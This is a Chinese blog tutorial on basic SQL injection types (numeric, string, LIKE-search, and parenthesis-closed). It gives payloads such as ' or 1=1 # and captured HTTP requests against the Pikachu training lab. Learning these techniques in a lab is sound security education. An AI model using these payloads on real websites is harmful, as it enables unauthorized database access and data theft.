当前位置: 首页 > article >正文

SQL注入漏洞之基础数据类型注入 字符 数字 搜索 XX 以及靶场实例哟

目录

基础数据类型SQL注入

字符类型注入

单引号双引号解释

案例练习: 

数字类型注入

案例

搜索性注入:

案例

XX性注入:

语句

案例

基础SQL注入类型分类


基础数据类型SQL注入

字符类型注入

'xxx' or 1=1 # 
select id,email from member where username=xx' or 1=1 #'
-----------------------------------

转化成True 查询所有username 
select id,email from member where username= True #' 
-----------------------------------

' 处于前面闭合状态 
-- # 注释得作用
select id,email form member where username = "vince" and 1=1 ''#
------------------------------------

select id,email from member where username='vince or 1=1'#;
select id email from member where username = ‘vince’

单引号双引号解释

  • 这个语句的 vince or 1=1 '# 是直接被认作字符串

  • 我们在vince后面添加单引号来闭合vince

  • 再在1=1后面添加注释#来消除掉后面的单引号

  • #和--是mysql的sql语句注释符号

    • 这样来完成一个SQL语句的拼接合法性

      • 完整的语句为

    • select id,email from member where username='vince' or 1=1#';

我们回到pikachu平台输入 vince' or 1=1#

案例练习: 

这里说一下编码的问题

GET /pikachu/vul/sqli/sqli_str.php?name=vince'+or+1%3D1%23&submit=%E6%9F%A5%E8%AF%A2 HTTP/1.1

  • get请求有很多%XXX,这个是URL编码
    • 为什么get请求在URL地址上会有一些是URL编码了
    • 这个简单的说,就是避免输入的一些特殊字符与其它代码关键字起冲突,所以HTTP协议会将一些特殊字符转义成URL编码

  • 所以我们在做GET请求的类型的sql注入的时候是需要注意URL编码格式的

  • 至于这个格式如何转移?
    • 很简单的一个办法就是拿到在线编码格式转移工具转移一下就可以了。
    • 在线转移工具很多这个自己搜索在线编码工具就可以了有很多很多。

GET /pikachu/vul/sqli/sqli_str.php?name=vince'+or+1%3D1%23&submit=%E6%9F%A5%E8%AF%A2 HTTP/1.1
Host: 192.168.1.10
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.1.10/pikachu/vul/sqli/sqli_str.php
Cookie: PHPSESSID=2jvbqptqksfgi8dgik0jbo7j04; security_level=0
Upgrade-Insecure-Requests: 1
Priority: u=0, i

数字类型注入

语句

mysql> select username,email from member where id=1;
mysql> select username,email from member where id=1 or 1=1;

案例

  • 这里可以看到我们在请求参数中修改 传入注入语句并没有修改成URL编码格式,就可以注入成功. 
  • 这是为什么了?
    • 么有为什么,因为URL编码仅限于get请求这个记住就可以了。
POST /pikachu/vul/sqli/sqli_id.php HTTP/1.1
Host: 192.168.1.10
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
Origin: http://192.168.1.10
Connection: close
Referer: http://192.168.1.10/pikachu/vul/sqli/sqli_id.php
Cookie: PHPSESSID=2jvbqptqksfgi8dgik0jbo7j04; security_level=0
Upgrade-Insecure-Requests: 1
Priority: u=0, i

id=1 or 1=1 #&submit=%E6%9F%A5%E8%AF%A2


搜索性注入:

  • 在说搜索类型注入之前,我们要只是到sql语句中like是干嘛的?
    • 也就是模糊匹配的作用
    • %在最字符串最前面那么就模糊匹配后面的字符串就可
    • 字符串没有% 那么就说明是全匹配对应字符串
    • 前后%% 这说明 匹配只要中间有那个字符串的字符至于字符串前后是啥不管 
    • %在字符串最后面,则说明匹配字符串不管最后是什么只要前面的字符串符合标准就可以了
Select id,email from member where username like ‘%vin’
Select id,email from member where username like ‘vin%’
Select id,email from member where username like ‘%vin%’
  • select username,id,email from member where username like '%%' or 1=1 #%'

    • 注意: 这里的 %' or 1=1 #%' 虽然单引号可以闭合 但是很多时候还是需要闭合%

      • 也就是搜索性要多注意%的闭合

  • %%闭合也就是为了查询到更多的数据

%xxxx%' or 1=1 #%'
 xxxx%' or 1=1 #%'

案例

GET /pikachu/vul/sqli/sqli_search.php?name=%25%27+or+1%3D1+%23&submit=%E6%90%9C%E7%B4%A2 HTTP/1.1
Host: 192.168.1.10
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.1.10/pikachu/vul/sqli/sqli_search.php
Cookie: PHPSESSID=2jvbqptqksfgi8dgik0jbo7j04; security_level=0
Upgrade-Insecure-Requests: 1
Priority: u=0, i


XX性注入:

select * from member where username=('vince') ;
select * from member where username=('xx') or 1=1;
select id,email from member where username=('') or 1=1 #')

语句

') or 1=1 #')

  Xx注入 注意小括号的闭合状态

    以上就是基本的数据类型

    注入 数字 字符 搜索 xx 注入类型

案例

GET /pikachu/vul/sqli/sqli_x.php?name=%27%29+or+1%3D1+%23%27%29&submit=%E6%9F%A5%E8%AF%A2 HTTP/1.1
Host: 192.168.1.10
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.1.10/pikachu/vul/sqli/sqli_x.php
Cookie: PHPSESSID=2jvbqptqksfgi8dgik0jbo7j04; security_level=0
Upgrade-Insecure-Requests: 1
Priority: u=0, i


基础SQL注入类型分类

主要分为如下四类:

  • 数字型

  • 字符型

  • 搜索型

  • xx型

喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。


http://www.kler.cn/a/517244.html

相关文章:

  • 人脸识别打卡系统--基于QT(附源码)
  • 浅谈Unity中Canvas的三种渲染模式
  • k8s优雅重启
  • js学习笔记(2)
  • Hive之加载csv格式数据到hive
  • 【LeetCode】--- MySQL刷题集合
  • 信创产品测试包括哪些内容?有哪些常用的信创测试工具?
  • 校验收货地址是否超出配送范围实战3(day09)
  • C# volatile 使用详解
  • 如何解压rar格式文件?8种方法(Win/Mac/手机/网页端)
  • DBO朴素贝叶斯分类预测matlab代码
  • 【吉林乡镇界】面图层shp格式arcgis数据乡镇名称和编码wgs84无偏移内容测评
  • Redis 缓存穿透、雪崩和击穿问题及解决方案
  • JAVAweb学习日记(七) 分层解耦
  • 软件需求工程中的风险管理
  • C语言-----扫雷游戏
  • 一款专业通用开源的MES生产执行管理系统
  • Unity常用特性(Attribute)用法
  • 睡眠时间影响因素K-Means可视化分析+XGBoost预测
  • 第15个项目:一个有趣的豆瓣电影TOP爬虫
  • ISIS基础知识
  • 2024-2025自动驾驶技术演进与产业破局的深度实践——一名自动驾驶算法工程师的年度技术总结与行业洞察
  • 基于SpringBoot+Vue的智慧动物园管理系统的设计与实现
  • 智能运维分析决策系统:赋能数字化转型的智慧引擎
  • qt 设置鼠标样式的几种方法
  • ceph新增节点,OSD设备,标签管理(二)